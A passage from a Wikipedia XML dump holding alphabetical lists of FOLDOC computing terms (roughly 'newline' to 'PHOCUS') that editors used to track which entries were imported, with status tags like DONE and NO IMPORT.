newline&lt;br&gt;
NEWP&lt;br&gt;
NEW Programming language&lt;br&gt;
[[NeWS]] '''DONE'''&lt;br&gt;
news&lt;br&gt;
NewsClip&lt;br&gt;
newsfroup&lt;br&gt;
newsgroup&lt;br&gt;
newsletter&lt;br&gt;
Newspeak&lt;br&gt;
Newsqueak&lt;br&gt;
.newsrc&lt;br&gt;
news reader&lt;br&gt;
New Storage System&lt;br&gt;
new talk&lt;br&gt;
New Testament&lt;br&gt;
Newton '''DONE''', renamed [[Apple Newton]]&lt;br&gt;
Newton-Raphson&lt;br&gt;
NewWave&lt;br&gt;
NewYacc&lt;br&gt;
New York State Educational Reasearch  ETwork&lt;br&gt;
New York University&lt;br&gt;
NEXOR&lt;br&gt;
Nexpert Object&lt;br&gt;
NeXT, Inc.&lt;br&gt;
Next Program Counter&lt;br&gt;
NEXTSTEP&lt;br&gt;
nf&lt;br&gt;
NFA&lt;br&gt;
NFQL&lt;br&gt;
NFS&lt;br&gt;
NFT&lt;br&gt;
ng&lt;br&gt;
NGL&lt;br&gt;
NHOH&lt;br&gt;
ni&lt;br&gt;
NIAL&lt;br&gt;
NIAL Systems Ltd.&lt;br&gt;
NIAM&lt;br&gt;
nibble&lt;br&gt;
Nibble Mode DRAM&lt;br&gt;
NIC&lt;br&gt;
NIC.DDN.MIL&lt;br&gt;
NICE&lt;br&gt;
nick&lt;br&gt;
nickle&lt;br&gt;
NICOL I&lt;br&gt;
NIFOC = Nude In Front Of The Computer &lt;br&gt;
Nightmare File System&lt;br&gt;
night mode&lt;br&gt;
NIH&lt;br&gt;
NIHCL&lt;br&gt;
NII&lt;br&gt;
NIKL&lt;br&gt;
Niklaus Wirth&lt;br&gt;
NIL&lt;br&gt;
niladic&lt;br&gt;
Ninety-Ninety Rule&lt;br&gt;
NIOS&lt;br&gt;
nipple&lt;br&gt;
NIS&lt;br&gt;
NISO&lt;br&gt;
NISS&lt;br&gt;
NIST&lt;br&gt;
NJCL&lt;br&gt;
nl&lt;br&gt;
NLM&lt;br&gt;
NLP&lt;br&gt;
NLS&lt;br&gt;
NLSP&lt;br&gt;
NLX&lt;br&gt;
NMI&lt;br&gt;
nML&lt;br&gt;
NMU&lt;br&gt;
NN&lt;br&gt;
nn&lt;br&gt;
NNI&lt;br&gt;
NNTP&lt;br&gt;
no&lt;br&gt;
NOC&lt;br&gt;
NODAL&lt;br&gt;
Nodal Switching System&lt;br&gt;
noddy&lt;br&gt;
node&lt;br&gt;
NOL&lt;br&gt;
NOMAD&lt;br&gt;
NOMEX underwear&lt;br&gt;
Nominal Semidestructor&lt;br&gt;
non-algorithmic procedure&lt;br&gt;
nondeterminism&lt;br&gt;
nondeterministic&lt;br&gt;
nondeterministic automaton&lt;br&gt;
nondeterministic polynomial time&lt;br&gt;
Nondeterministic Turing Machine&lt;br&gt;
non-impact printer&lt;br&gt;
non-interlaced&lt;br&gt;
nonintrusive testing&lt;br&gt;
nonlinear&lt;br&gt;
Non-Maintainer Upload&lt;br&gt;
Non-Maskable Interrupt&lt;br&gt;
non-optimal solution&lt;br&gt;
Nonpareil&lt;br&gt;
non parity&lt;br&gt;
non-polynomial&lt;br&gt;
Non Return to Zero Inverted&lt;br&gt;
nontrivial&lt;br&gt;
Non-Uniform Memory Access&lt;br&gt;
non-uniform quantising logarithmic compression&lt;br&gt;
Non-Uniform Rational B Spline&lt;br&gt;
non-volatile&lt;br&gt;
non-volatile memory&lt;br&gt;
Non-Volatile Random Access Memory&lt;br&gt;
non-volatile storage&lt;br&gt;
no-op&lt;br&gt;
NOR&lt;br&gt;
NORC COMPILER&lt;br&gt;
NorCroft&lt;br&gt;
NORD PL&lt;br&gt;
NORDUnet&lt;br&gt;
norm&lt;br&gt;
normal distribution&lt;br&gt;
normal form&lt;br&gt;
normalisation&lt;br&gt;
normalised&lt;br&gt;
normal order reduction&lt;br&gt;
normed space&lt;br&gt;
northbridge&lt;br&gt;
NorthWestNet&lt;br&gt;
NOS&lt;br&gt;
NOT&lt;br&gt;
Not-a-Number&lt;br&gt;
notebook&lt;br&gt;
NoteCards&lt;br&gt;
Notepad&lt;br&gt;
Notes&lt;br&gt;
Nother&lt;br&gt;
not ready for prime time&lt;br&gt;
notwork&lt;br&gt;
Nova - is this [[Data General Nova]]?&lt;br&gt;
Novell Data Systems&lt;br&gt;
Novell DOS&lt;br&gt;
Novell, Inc.&lt;br&gt;
Novell NetWare&lt;br&gt;
NOWEB&lt;br&gt;
[[no-write allocation]] '''DONE'''&lt;br&gt;
NP&lt;br&gt;
np&lt;br&gt;
NPC&lt;br&gt;
NP-complete&lt;br&gt;
NP-hard&lt;br&gt;
NPL&lt;br&gt;
NPPL&lt;br&gt;
N-Prolog&lt;br&gt;
NP time&lt;br&gt;
NQS&lt;br&gt;
Nqthm&lt;br&gt;
nr&lt;br&gt;
NREN&lt;br&gt;
nroff&lt;br&gt;
NRZ&lt;br&gt;
NRZI&lt;br&gt;
ns&lt;br&gt;
NSA line eater&lt;br&gt;
NSAPI&lt;br&gt;
NSDI&lt;br&gt;
NSE&lt;br&gt;
NSF&lt;br&gt;
NSFIP&lt;br&gt;
NSFNET&lt;br&gt;
NSI&lt;br&gt;
nslookup&lt;br&gt;
NSRD&lt;br&gt;
NSS&lt;br&gt;
NT&lt;br&gt;
NT1&lt;br&gt;
NT5&lt;br&gt;
ntalk&lt;br&gt;
NTAS&lt;br&gt;
NT File System&lt;br&gt;
NTFS&lt;br&gt;
n-tier&lt;br&gt;
NTIS&lt;br&gt;
NTMBS&lt;br&gt;
NTP&lt;br&gt;
NTSC&lt;br&gt;
NTU&lt;br&gt;
nu&lt;br&gt;
NuBus&lt;br&gt;
nu-calculus&lt;br&gt;
NUCLEOL&lt;br&gt;
nude&lt;br&gt;
nuke&lt;br&gt;
null&lt;br&gt;
nullary&lt;br&gt;
null modem&lt;br&gt;
null-terminated multibyte string&lt;br&gt;
NUMA&lt;br&gt;
number crunching&lt;br&gt;
numbers&lt;br&gt;
number sign&lt;br&gt;
Numeris&lt;br&gt;
Nuprl&lt;br&gt;
NU-Prolog&lt;br&gt;
nurbs -- '''DONE'''&lt;br&gt;
Nu Thena&lt;br&gt;
NUXI problem&lt;br&gt;
NVRAM&lt;br&gt;
NVS&lt;br&gt;
NWNET&lt;br&gt;
NYAP&lt;br&gt;
nybble&lt;br&gt;
nyetwork&lt;br&gt;
nym&lt;br&gt;
nym server&lt;br&gt;
Nyquist frequency -- '''DONE''' &lt;br&gt; 
Nyquist Theorem-- '''DONE'''&lt;br&gt;
NYSERNET&lt;br&gt;
NYU OMNIFAX&lt;br&gt;
nz&lt;br&gt;

:''See also :'' [[Free On-line Dictionary of Computing]]</text>
    </revision>
  </page>
  <page>
    <title>Wikipedia:Free On-line Dictionary of Computing/O - Q</title>
    <id>11332</id>
    <revision>
      <id>40683224</id>
      <timestamp>2006-02-22T07:15:19Z</timestamp>
      <contributor>
        <username>Marudubshinki</username>
        <id>190816</id>
      </contributor>
      <comment>link EuLisp</comment>
      <text xml:space="preserve">[[Free_On-line_Dictionary_of_Computing/symbols - B|symbols - B]] -- [[Free_On-line_Dictionary_of_Computing/C - D|C - D]] -- [[Free_On-line_Dictionary_of_Computing/E - H|E - H]] -- [[Free_On-line_Dictionary_of_Computing/I - K|I - K]] -- [[Free_On-line_Dictionary_of_Computing/L - N|L - N]] -- '''O - Q''' -- [[Free_On-line_Dictionary_of_Computing/R - S|R - S]] -- [[Free_On-line_Dictionary_of_Computing/T - W|T - W]] -- [[Free_On-line_Dictionary_of_Computing/X - Z|X - Z]] -- [[Free_On-line_Dictionary_of_Computing/Status|FOLDOC Status Page]]

O&lt;br&gt;
O2&lt;br&gt;
Oaklisp&lt;br&gt;
OAP&lt;br&gt;
OATH&lt;br&gt;
Ob-&lt;br&gt;
OBDC&lt;br&gt;
OBE&lt;br&gt;
[[Oberon programming language|Oberon]] '''DONE'''&lt;br&gt;
Oberon-2&lt;br&gt;
Oberon-V&lt;br&gt;
[[The International Obfuscated C Code Contest|Obfuscated C Contest]] '''DONE'''&lt;br&gt;
obi-wan error&lt;br&gt;
OBJ&lt;br&gt;
OBJ0&lt;br&gt;
OBJ2&lt;br&gt;
OBJ3&lt;br&gt;
object&lt;br&gt;
ObjectBroker&lt;br&gt;
ObjectCenter&lt;br&gt;
Object CHILL&lt;br&gt;
object code&lt;br&gt;
Object Compatibility Standard&lt;br&gt;
[[Object Database Management Group]] '''DONE'''&lt;br&gt;
Object Data Management Group (see above)&lt;br&gt;
Objecteering&lt;br&gt;
object identifier&lt;br&gt;
Objectionable-C&lt;br&gt;
[[Objective C]] '''DONE'''&lt;br&gt;
Objective CAML&lt;br&gt;
Objective PASCAL&lt;br&gt;
Object Linking and Embedding&lt;br&gt;
Object Lisp&lt;br&gt;
ObjectLOGO&lt;br&gt;
Object Management Group&lt;br&gt;
Object management system&lt;br&gt;
Object Modelling Technique&lt;br&gt;
Object Oberon&lt;br&gt;
object-orientation&lt;br&gt;
object-oriented&lt;br&gt;
object-oriented analysis&lt;br&gt;
[[object-oriented database]] '''DONE'''&lt;br&gt;
object-oriented design&lt;br&gt;
Object-Oriented Fortran&lt;br&gt;
object-oriented language&lt;br&gt;
Object-Oriented Pascal&lt;br&gt;
object-oriented programming&lt;br&gt;
object-oriented programming language&lt;br&gt;
Object-oriented SQL&lt;br&gt;
Object-Oriented Turing&lt;br&gt;
ObjectPAL&lt;br&gt;
[[Object Pascal]]&lt;br&gt;
Object Request Broker&lt;br&gt;
Object Role Modeling&lt;br&gt;
Object Value&lt;br&gt;
Objectworks&lt;br&gt;
Object Z&lt;br&gt;
Objlog&lt;br&gt;
OBJT&lt;br&gt;
ObjVlisp&lt;br&gt;
ObjVProlog&lt;br&gt;
Obliq&lt;br&gt;
oblique stroke&lt;br&gt;
Oblog&lt;br&gt;
OBSCURE&lt;br&gt;
observational equivalence&lt;br&gt;
Oc&lt;br&gt;
OC-12&lt;br&gt;
OC-3&lt;br&gt;
OC-48&lt;br&gt;
OCAL&lt;br&gt;
occam&lt;br&gt;
occam 2&lt;br&gt;
Occam's Razor&lt;br&gt;
occlude&lt;br&gt;
occurs check&lt;br&gt;
OCL&lt;br&gt;
OCLC&lt;br&gt;
OC-n&lt;br&gt;
OCODE&lt;br&gt;
OCP&lt;br&gt;
OCR&lt;br&gt;
OCS&lt;br&gt;
octal&lt;br&gt;
octal forty&lt;br&gt;
Octave&lt;br&gt;
octet&lt;br&gt;
octothorpe&lt;br&gt;
OCX&lt;br&gt;
OD390&lt;br&gt;
ODA&lt;br&gt;
ODBC&lt;br&gt;
ODC&lt;br&gt;
Ode&lt;br&gt;
ODI&lt;br&gt;
ODIF&lt;br&gt;
ODMA&lt;br&gt;
ODMG&lt;br&gt;
ODP&lt;br&gt;
ODSA&lt;br&gt;
ODT&lt;br&gt;
OEM&lt;br&gt;
off-by-one error&lt;br&gt;
Office&lt;br&gt;
Office By Example&lt;br&gt;
Office Workstations Limited&lt;br&gt;
off-line&lt;br&gt;
off-line world&lt;br&gt;
off-side rule&lt;br&gt;
off the trolley&lt;br&gt;
ogg (done)&lt;br&gt;
OHCI&lt;br&gt;
Ohm&lt;br&gt;
ohnosecond&lt;br&gt;
OIC&lt;br&gt;
OID&lt;br&gt;
-oid&lt;br&gt;
OIL&lt;br&gt;
OLAP&lt;br&gt;
OLC&lt;br&gt;
OLDAS&lt;br&gt;
old fart&lt;br&gt;
old talk&lt;br&gt;
Old Testament&lt;br&gt;
OLE&lt;br&gt;
OLE custom controls&lt;br&gt;
OLGA&lt;br&gt;
Olivetti&lt;br&gt;
O-Logic&lt;br&gt;
OLTP&lt;br&gt;
OLWM&lt;br&gt;
om&lt;br&gt;
OMA&lt;br&gt;
Omega&lt;br&gt;
Omega-algebraic&lt;br&gt;
Omega test&lt;br&gt;
OMF&lt;br&gt;
OMG&lt;br&gt;
OMNICODE&lt;br&gt;
OMNIFAX&lt;br&gt;
OMNITAB&lt;br&gt;
OMR&lt;br&gt;
OMS&lt;br&gt;
OMT&lt;br&gt;
OMTool&lt;br&gt;
ONC&lt;br&gt;
Ondine&lt;br&gt;
one-banana problem&lt;br&gt;
one-line fix&lt;br&gt;
one-liner wars&lt;br&gt;
ones complement&lt;br&gt;
One-Time Password&lt;br&gt;
One Time Programmable Read-Only Memory&lt;br&gt;
one-way function&lt;br&gt;
one-way hash function&lt;br&gt;
on-line&lt;br&gt;
On-Line Analytical Processing&lt;br&gt;
Online Computer Library Center, Inc.&lt;br&gt;
On-Line Computer system&lt;br&gt;
Online Media&lt;br&gt;
Online Public Access Catalog&lt;br&gt;
On-Line Transaction Processing&lt;br&gt;
Ontic&lt;br&gt;
onto&lt;br&gt;
ontology&lt;br&gt;
OnX&lt;br&gt;
OO&lt;br&gt;
OOA&lt;br&gt;
OOD&lt;br&gt;
[[OODB]] '''DONE'''&lt;br&gt;
[[OODBMS]] '''DONE'''&lt;br&gt;
OOF&lt;br&gt;
OOGL&lt;br&gt;
OOP&lt;br&gt;
OOPL&lt;br&gt;
OOPS&lt;br&gt;
OOPSLA&lt;br&gt;
OOSD&lt;br&gt;
OOZE&lt;br&gt;
op&lt;br&gt;
OPAC&lt;br&gt;
Opal&lt;br&gt;
op code&lt;br&gt;
open&lt;br&gt;
open box testing&lt;br&gt;
OpenBSD '''NO IMPORT''' insubstantial&lt;br&gt;
open/closed principle&lt;br&gt;
open-collar worker&lt;br&gt;
Open DataBase Connectivity&lt;br&gt;
Open Data-link Interface&lt;br&gt;
Open DeathTrap&lt;br&gt;
Open Desktop&lt;br&gt;
Open Distributed Processing&lt;br&gt;
Open Distributed System Architecture&lt;br&gt;
OpenDoc&lt;br&gt;
Open Document Architecture&lt;br&gt;
Open Document Interchange Format&lt;br&gt;
Open Document Management API&lt;br&gt;
[[OpenGL]] '''DONE'''&lt;br&gt;
Open Graphics Library '''DONE'''&lt;br&gt;
OpenInsight&lt;br&gt;
Open Look&lt;br&gt;
Open Network Computing&lt;br&gt;
Open Prolog&lt;br&gt;
Open Scripting Architecture&lt;br&gt;
Open Shortest-Path First&lt;br&gt;
Open Shortest-Path First Interior Gateway Protocol&lt;br&gt;
Open Software Foundation&lt;br&gt;
open source '''NO IMPORT''' insubstantial&lt;br&gt;
Open Source Definition&lt;br&gt;
Open Source Initiative&lt;br&gt;
Open source license&lt;br&gt;
[[OpenStep]] '''DONE'''&lt;br&gt;
open switch&lt;br&gt;
Open Systems Interconnect&lt;br&gt;
Open Systems Interconnection&lt;br&gt;
Open Telecom Platform&lt;br&gt;
Open Trading Protocol&lt;br&gt;
OpenTransport&lt;br&gt;
Open University&lt;br&gt;
OpenVMS&lt;br&gt;
OpenWindows&lt;br&gt;
operand&lt;br&gt;
operating system&lt;br&gt;
Operating System/360&lt;br&gt;
Operating System/Multiprogramming of Fixed Tasks&lt;br&gt;
operational database&lt;br&gt;
operational requirements&lt;br&gt;
operational semantics&lt;br&gt;
operational test and evaluation&lt;br&gt;
operational testing&lt;br&gt;
operation code&lt;br&gt;
operator&lt;br&gt;
operator overloading&lt;br&gt;
Opportunity Management System&lt;br&gt;
OPS&lt;br&gt;
OPS5&lt;br&gt;
OPS83&lt;br&gt;
Optical Carrier 12&lt;br&gt;
Optical Carrier 3&lt;br&gt;
Optical Carrier 48&lt;br&gt;
Optical Carrier n&lt;br&gt;
Optical Character Recognition&lt;br&gt;
optical diff&lt;br&gt;
optical fiber&lt;br&gt;
optical fibre&lt;br&gt;
optical grep&lt;br&gt;
Optical Mark Reader&lt;br&gt;
optical mouse '''NO IMPORT''' insubstantial&lt;br&gt;
Optical Time Domain Reflectometer&lt;br&gt;
Optical Time Domain Reflectometry&lt;br&gt;
optimal&lt;br&gt;
optimise '''NO IMPORT''' insubstantial&lt;br&gt;
optimising compiler '''NO IMPORT''' insubstantial&lt;br&gt;
optimism&lt;br&gt;
optimize '''NO IMPORT''' insubstantial&lt;br&gt;
option&lt;br&gt;
OPTRAN&lt;br&gt;
Opus&lt;br&gt;
OR&lt;br&gt;
Oracle 7&lt;br&gt;
Oracle Card&lt;br&gt;
Oracle*CASE&lt;br&gt;
Oracle Co-operative Applications&lt;br&gt;
Oracle Corporation&lt;br&gt;
[[ Oracle Rdb ]] '''DONE'''&lt;br&gt;
Oracle Toolkit&lt;br&gt;
Orange Book&lt;br&gt;
ORB&lt;br&gt;
Orbit&lt;br&gt;
Orca&lt;br&gt;
Order Code Processor&lt;br&gt;
order-embedding&lt;br&gt;
ordering&lt;br&gt;
ordinal&lt;br&gt;
ordinate&lt;br&gt;
OREGANO&lt;br&gt;
O'Reilly and Associates&lt;br&gt;
org&lt;br&gt;
Organic Mode&lt;br&gt;
Orient84/K&lt;br&gt;
Original Equipment Manufacturer&lt;br&gt;
ORKID&lt;br&gt;
ORM&lt;br&gt;
orphaned i-node&lt;br&gt;
orphan process&lt;br&gt;
ORTHOCARTAN&lt;br&gt;
orthogonal&lt;br&gt;
orthogonal instruction set&lt;br&gt;
Orwell&lt;br&gt;
OS&lt;br&gt;
OS2&lt;br&gt;
OS/2&lt;br&gt;
OS/360 '''DONE'''&lt;br&gt;
OS/390 '''DONE'''&lt;br&gt;
OS-9&lt;br&gt;
OSA&lt;br&gt;
OSA extension&lt;br&gt;
OSAX&lt;br&gt;
OSCAR&lt;br&gt;
OSD&lt;br&gt;
OSE&lt;br&gt;
OSF&lt;br&gt;
OSI&lt;br&gt;
OSI Model&lt;br&gt;
OSI Reference Model&lt;br&gt;
OSI-RM&lt;br&gt;
OSI seven layer model&lt;br&gt;
O'small&lt;br&gt;
OS/MFT&lt;br&gt;
OS/MVT&lt;br&gt;
OSP&lt;br&gt;
OSPF&lt;br&gt;
OSQL&lt;br&gt;
OSSL&lt;br&gt;
OS/VS1&lt;br&gt;
OS/VS2&lt;br&gt;
OT&lt;br&gt;
OTDR&lt;br&gt;
OT&amp;amp&lt;br&gt;E&lt;br&gt;
OTI&lt;br&gt;
OTOH&lt;br&gt;
OTP&lt;br&gt;
OTPROM&lt;br&gt;
OTT&lt;br&gt;
Ottawa Euclid&lt;br&gt;
Ousterhout, John K.&lt;br&gt;
Ousterhout's dichotomy&lt;br&gt;
Ousterhout's fallacy&lt;br&gt;
Ousterhout's false dichotomy&lt;br&gt;
outer join&lt;br&gt;
outline font&lt;br&gt;
[[out-of-band]] '''DONE'''&lt;br&gt;
output&lt;br&gt;
output device&lt;br&gt;
Outside Awareness Port&lt;br&gt;
outside-in testing&lt;br&gt;
outsourcing&lt;br&gt;
overclocking&lt;br&gt;
Overdrive&lt;br&gt;
overflow bit&lt;br&gt;
overflow pdl&lt;br&gt;
overhead&lt;br&gt;
overlay&lt;br&gt;
overloading&lt;br&gt;
overriding&lt;br&gt;
overrun&lt;br&gt;
overrun screw&lt;br&gt;
overuse strain injury&lt;br&gt;
OWHY&lt;br&gt;
OWL&lt;br&gt;
Owl&lt;br&gt;
Ox&lt;br&gt;
Oz&lt;br&gt;
oz&lt;br&gt;
Oz-Email&lt;br&gt;
P+&lt;br&gt;
P1754&lt;br&gt;
p2c&lt;br&gt;
P3L&lt;br&gt;
P4&lt;br&gt;
P6&lt;br&gt;
pa&lt;br&gt;
PABX&lt;br&gt;
PACE&lt;br&gt;
Packard Bell Electronics, Inc.&lt;br&gt;
[[packed decimal]] '''Done'''&lt;br&gt;
Packed Encoding Rules&lt;br&gt;
packet&lt;br&gt;
Packet Assembler/Disassembler&lt;br&gt;
packet driver&lt;br&gt;
Packet in Plastic Grid Array&lt;br&gt;
Packet InterNet Groper&lt;br&gt;
packet radio&lt;br&gt;
packet sniffer&lt;br&gt;
packet-switched&lt;br&gt;
packet switching&lt;br&gt;
Packet Switch Node&lt;br&gt;
packet writing&lt;br&gt;
PackIt&lt;br&gt;
PACT I&lt;br&gt;
PACTOLUS&lt;br&gt;
PAD&lt;br&gt;
padded cell&lt;br&gt;
Paddle&lt;br&gt;
PAGE&lt;br&gt;
page&lt;br&gt;
paged&lt;br&gt;
Page Description Language&lt;br&gt;
Paged Memory Management Unit&lt;br&gt;
page fault&lt;br&gt;
page in&lt;br&gt;
page mode&lt;br&gt;
Page Mode DRAM&lt;br&gt;
Page Mode Dynamic Random Access Memory&lt;br&gt;
page out&lt;br&gt;
pager&lt;br&gt;
paging&lt;br&gt;
PaiLisp&lt;br&gt;
pain in the net&lt;br&gt;
Paintbrush&lt;br&gt;
PAISley&lt;br&gt;
PAL&lt;br&gt;
Palace&lt;br&gt;
palette&lt;br&gt;
palmtop&lt;br&gt;
Palo Alto Research Center&lt;br&gt;
Palo Alto Research Centre&lt;br&gt;
PAM&lt;br&gt;
Pam&lt;br&gt;
Pandora&lt;br&gt;
panic&lt;br&gt;
PANON&lt;br&gt;
PANS&lt;br&gt;
Pansophic&lt;br&gt;
Pantone&lt;br&gt;
PAP (computer)&lt;br&gt;
Paper Feed Control Character&lt;br&gt;
papermail&lt;br&gt;
paper-net&lt;br&gt;
paraconsistent probability&lt;br&gt;
PARADE&lt;br&gt;
PARADIGM PLUS&lt;br&gt;
Paradigms of AI Programming&lt;br&gt;
Paradise&lt;br&gt;
Paradox&lt;br&gt;
paradox&lt;br&gt;
Paradox Application Language&lt;br&gt;
Paragon&lt;br&gt;
Paralation&lt;br&gt;
Paralation C&lt;br&gt;
Paralation LISP&lt;br&gt;
ParAlfl&lt;br&gt;
Parallaxis&lt;br&gt;
Parallel C&lt;br&gt;
parallel computer&lt;br&gt;
parallel computing&lt;br&gt;
Parallel FORTH&lt;br&gt;
Parallel Fortran&lt;br&gt;
Parallel Haskell&lt;br&gt;
parallelism&lt;br&gt;
Parallel Pascal&lt;br&gt;
parallel port '''DONE'''&lt;br&gt;
Parallel Presence Detect&lt;br&gt;
parallel processing&lt;br&gt;
parallel processor&lt;br&gt;
parallel random access machine&lt;br&gt;
parallel reduction&lt;br&gt;
Parallel SML&lt;br&gt;
Parallel Sysplex&lt;br&gt;
[[Parallel Virtual Machine]]&lt;br&gt;
param&lt;br&gt;
parameter&lt;br&gt;
parameter RAM&lt;br&gt;
parametric polymorphism&lt;br&gt;
paraML&lt;br&gt;
paranoid programming&lt;br&gt;
ParaSoft Corp&lt;br&gt;
Parasol&lt;br&gt;
PARC&lt;br&gt;
parent&lt;br&gt;
parentheses&lt;br&gt;
parent message&lt;br&gt;
[[parent process]] '''DONE'''&lt;br&gt;
Pari&lt;br&gt;
Paris&lt;br&gt;
parity&lt;br&gt;
parity bit&lt;br&gt;
parity error&lt;br&gt;
Parkinson's Law of Data&lt;br&gt;
Park-Miller&lt;br&gt;
Parlance&lt;br&gt;
Parlog&lt;br&gt;
Parlog++&lt;br&gt;
parm&lt;br&gt;
PARMACS&lt;br&gt;
ParMod&lt;br&gt;
PARS&lt;br&gt;
PARSEC&lt;br&gt;
parser&lt;br&gt;
parser generator&lt;br&gt;
parsing&lt;br&gt;
Parsley&lt;br&gt;
Partial Differential Equation LANguage&lt;br&gt;
partial equivalence relation&lt;br&gt;
partial evaluation&lt;br&gt;
partial function&lt;br&gt;
partial key&lt;br&gt;
partially ordered set&lt;br&gt;
partial ordering&lt;br&gt;
[[Partial Response Maximum Likelihood]]&lt;br&gt;
partition&lt;br&gt;
PARTS&lt;br&gt;
@-party&lt;br&gt;
PARULEL&lt;br&gt;
Pascal&lt;br&gt;
Pascal-&lt;br&gt;
Pascal-80&lt;br&gt;
Pascal+CSP&lt;br&gt;
Pascal-F&lt;br&gt;
Pascal-FC&lt;br&gt;
Pascal/L&lt;br&gt;
Pascal-Linda&lt;br&gt;
Pascal-m&lt;br&gt;
Pascal-P&lt;br&gt;
Pascal P4&lt;br&gt;
Pascal Plus&lt;br&gt;
Pascal/R&lt;br&gt;
Pascal-S&lt;br&gt;
Pascal-SC&lt;br&gt;
pasos2&lt;br&gt;
Pasqual&lt;br&gt;
PASRO&lt;br&gt;
PASSIM&lt;br&gt;
passive matrix display&lt;br&gt;
passphrase&lt;br&gt;
password&lt;br&gt;
Password Authentication Protocol&lt;br&gt;
paste&lt;br&gt;
pastie&lt;br&gt;
PAT&lt;br&gt;
patch&lt;br&gt;
patch pumpkin&lt;br&gt;
patch space&lt;br&gt;
PATCHY&lt;br&gt;
path&lt;br&gt;
path coverage testing&lt;br&gt;
pathname&lt;br&gt;
pathname separator&lt;br&gt;
pathological&lt;br&gt;
Path Pascal&lt;br&gt;
pathspec&lt;br&gt;
pattern matching&lt;br&gt;
pattern recognition&lt;br&gt;
PAW&lt;br&gt;
PAW++&lt;br&gt;
payware&lt;br&gt;
PB Cache&lt;br&gt;
PBD&lt;br&gt;
PBEM&lt;br&gt;
PBM&lt;br&gt;
PBX&lt;br&gt;
PC&lt;br&gt;
pC++&lt;br&gt;
PC200&lt;br&gt;
PCA&lt;br&gt;
P-CAD&lt;br&gt;
PC AT&lt;br&gt;
PCB&lt;br&gt;
PC Card&lt;br&gt;
PCCTS&lt;br&gt;
PCF&lt;br&gt;
PCI '''NO IMPORT''' insubstantial&lt;br&gt;
PCI bus '''NO IMPORT''' insubstantial&lt;br&gt;
PCI Configuration Utility&lt;br&gt;
PCI Mezzanine Card&lt;br&gt;
PCI slot '''NO IMPORT''' insubstantial&lt;br&gt;
PC-ism&lt;br&gt;
PCjr&lt;br&gt;
PCL&lt;br&gt;
PCLIPS&lt;br&gt;
PCM&lt;br&gt;
PCMCIA&lt;br&gt;
PCMIA&lt;br&gt;
PCN&lt;br&gt;
PC-NFS&lt;br&gt;
P-code&lt;br&gt;
PC Pursuit&lt;br&gt;
PC-RT&lt;br&gt;
PCS&lt;br&gt;
PC-Scheme&lt;br&gt;
PCS/Geneva&lt;br&gt;
PC-TALK III&lt;br&gt;
PCTE&lt;br&gt;
PCTE+&lt;br&gt;
PC-TILES&lt;br&gt;
PCU&lt;br&gt;
PC-ware&lt;br&gt;
pcx&lt;br&gt;
PD&lt;br&gt;
PDA&lt;br&gt;
PDC&lt;br&gt;
PDC Prolog&lt;br&gt;
PDEL&lt;br&gt;
PDELAN&lt;br&gt;
PDES&lt;br&gt;
PDF&lt;br&gt;
PDFTeX&lt;br&gt;
PDH&lt;br&gt;
PDIL&lt;br&gt;
pdksh&lt;br&gt;
PDL&lt;br&gt;
PDL2&lt;br&gt;
PDM&lt;br&gt;
PDP&lt;br&gt;
PDP-10&lt;br&gt;
PDP-11&lt;br&gt;
PDP-20&lt;br&gt;
PDP-6&lt;br&gt;
PDP-7&lt;br&gt;
PDP Assembly Language&lt;br&gt;
PDS&lt;br&gt;
PDSA cycle&lt;br&gt;
PDS/MaGen&lt;br&gt;
PDU&lt;br&gt;
PE&lt;br&gt;
pe&lt;br&gt;
PeaceNet&lt;br&gt;
Peano arithmetic&lt;br&gt;
PEARL&lt;br&gt;
Pebble&lt;br&gt;
Pebbleman&lt;br&gt;
PEBCAK&lt;br&gt;
PEBKAC&lt;br&gt;
PECOS&lt;br&gt;
Pedagogic Algorithmic Language&lt;br&gt;
PEEK&lt;br&gt;
PEEL&lt;br&gt;
peephole optimisation&lt;br&gt;
peer&lt;br&gt;
peer-to-peer&lt;br&gt;
Pegasus&lt;br&gt;
PEIPA&lt;br&gt;
PEM&lt;br&gt;
PENCIL&lt;br&gt;
pencil and paper&lt;br&gt;
penis war&lt;br&gt;
Pentium&lt;br&gt;
Pentium 2&lt;br&gt;
Pentium 3&lt;br&gt;
Pentium II&lt;br&gt;
Pentium III&lt;br&gt;
Pentium II Xeon&lt;br&gt;
Pentium Pro&lt;br&gt;
peon&lt;br&gt;
PeopleSoft, Inc.&lt;br&gt;
Pepper&lt;br&gt;
PEPsy&lt;br&gt;
PER&lt;br&gt;
percent&lt;br&gt;
perceptron&lt;br&gt;
percussive maintenance&lt;br&gt;
perf&lt;br&gt;
perfect programmer syndrome&lt;br&gt;
PERFORM&lt;br&gt;
periodic group&lt;br&gt;
peripheral&lt;br&gt;
Peripheral Component Interconnect '''NO IMPORT''' insubstantial&lt;br&gt;
peripheral device&lt;br&gt;
Peripheral Technology Group&lt;br&gt;
Perl&lt;br&gt;
Perl5&lt;br&gt;
perl-byacc&lt;br&gt;
Perl profiler&lt;br&gt;
Permanent Virtual Circuit&lt;br&gt;
Permanent Virtual Connection&lt;br&gt;
permission&lt;br&gt;
permutation&lt;br&gt;
perp&lt;br&gt;
perplexity&lt;br&gt;
persistence&lt;br&gt;
persistent&lt;br&gt;
Persistent Functional Language&lt;br&gt;
persistent memory&lt;br&gt;
Personal Communication Network&lt;br&gt;
Personal Communication Services&lt;br&gt;
personal computer&lt;br&gt;
Personal Computer Memory Card International Association&lt;br&gt;
Personal Digital Assistant&lt;br&gt;
Personal Identification Number&lt;br&gt;
Personalized Array Translator&lt;br&gt;
person of no account&lt;br&gt;
perspective&lt;br&gt;
PERT&lt;br&gt;
pessimal&lt;br&gt;
pessimising compiler&lt;br&gt;
peta-&lt;br&gt;
petabyte&lt;br&gt;
petaflops&lt;br&gt;
petdingo&lt;br&gt;
Peter Chen&lt;br&gt;
Petri net&lt;br&gt;
PETSCII '''DONE''', inside the [[Commodore PET]] article&lt;br&gt;
PEX&lt;br&gt;
pf&lt;br&gt;
PFE&lt;br&gt;
PFL&lt;br&gt;
pfm&lt;br&gt;
pForth&lt;br&gt;
Pfortran&lt;br&gt;
pg&lt;br&gt;
PGA&lt;br&gt;
PGA370&lt;br&gt;
PGP&lt;br&gt;
PH&lt;br&gt;
pH&lt;br&gt;
ph&lt;br&gt;
phacker&lt;br&gt;
phage&lt;br&gt;
phase&lt;br&gt;
phase alternating line&lt;br&gt;
Phase Encoded&lt;br&gt;
phase of the moon&lt;br&gt;
phase-wrapping&lt;br&gt;
PHIGS&lt;br&gt;
Philips&lt;br&gt;
Philips SCC68070&lt;br&gt;
philosophy&lt;br&gt;
PHOCUS&lt;br&gt;
